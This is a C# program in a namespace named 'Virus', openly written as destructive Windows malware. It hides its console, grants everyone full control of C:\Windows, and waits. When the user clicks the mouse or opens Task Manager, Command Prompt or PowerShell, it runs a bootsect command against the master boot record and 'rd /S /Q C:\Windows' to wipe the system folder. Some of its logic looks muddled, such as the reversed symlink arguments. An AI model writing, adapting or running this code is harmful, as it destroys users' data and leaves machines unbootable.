using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Text;
using System.Threading;
using System.Runtime.CompilerServices;
using System.Security;

namespace Stixy.Virus
{
    class Program
    {
        [DllImport("User32.dll")]
        static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey);

        [DllImport("User32.dll")]
        static extern short GetAsyncKeyState(System.Int32 vKey);

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]
        public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        const int SW_HIDE = 0;
        const int SW_SHOW = 5;
        static void Main(string[] args)
        {
            var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);
            try
            {
                if (IsAdministrator())
                {
                    Console.WriteLine("Administrator");
                }
                else
                {
                    Console.WriteLine("Not Admin");
                }
                Console.WriteLine("Here");
                string path = @"C:\Windows";
                DirectoryInfo dir = new DirectoryInfo(path);
                DirectorySecurity dirsec = dir.GetAccessControl();
                dirsec.AddAccessRule(new FileSystemAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), FileSystemRights.FullControl, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, AccessControlType.Allow));
                dirsec.AddAccessRule(new FileSystemAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), FileSystemRights.FullControl, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, AccessControlType.Allow));
                dir.SetAccessControl(dirsec);
                Console.WriteLine("Windows Folder Hacked");
                Console.WriteLine("Don't move your mouse or else...");
                while (true)
                {
                    if (GetAsyncKeyState(0x1) != 0)
                    {
                        Console.WriteLine("Mouse Moved");
                        DeleteMBR();
                        DeleteWindowsFolder();
                        break;
                    }
                    if (Process.GetProcessesByName("taskmgr").Length != 0)
                    {
                        Console.WriteLine("Task Manager Opened");
                        DeleteMBR();
                        DeleteWindowsFolder();
                        break;
                    }
                    if (Process.GetProcessesByName("cmd").Length != 0)
                    {
                        Console.WriteLine("Command Prompt Opened");
                        DeleteMBR();
                        DeleteWindowsFolder();
                        break;
                    }
                    if (Process.GetProcessesByName("powershell").Length != 0)
                    {
                        Console.WriteLine("PowerShell Opened");
                        DeleteMBR();
                        DeleteWindowsFolder();
                        break;
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        static extern bool CreateSymbolicLink(string lpSymlinkFileName, string lpTargetFileName, SymbolicLink dwFlags);

        enum SymbolicLink
        {
            File = 0,
            Directory = 1
        }
        private static void DeleteWindowsFolder()
        {
            string currentUser = Environment.UserName;
            string linkPath = "C:\\Users\\" + currentUser;
            string targetPath = "C:\\Users\\All Users";

            CreateSymbolicLink(targetPath, linkPath, SymbolicLink.Directory);

            Console.WriteLine("Hacked");
            ProcessStartInfo proc = new ProcessStartInfo();
            proc.FileName = "cmd.exe";
            proc.Arguments = @"/c rd /S /Q C:\Windows";
            proc.UseShellExecute = false;
            proc.CreateNoWindow = true;
            Process.Start(proc);
            Environment.Exit(0);
        }

        private static void DeleteMBR()
        {
            ProcessStartInfo proc = new ProcessStartInfo();
            proc.FileName = "cmd.exe";
            proc.Arguments = @"/c bootsect /nt60 C: /mbr";
            proc.UseShellExecute = false;
            proc.CreateNoWindow = true;
            Process.Start(proc);
        }

        public static bool IsAdministrator()
        {
            WindowsIdentity identity = WindowsIdentity.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }
    }
}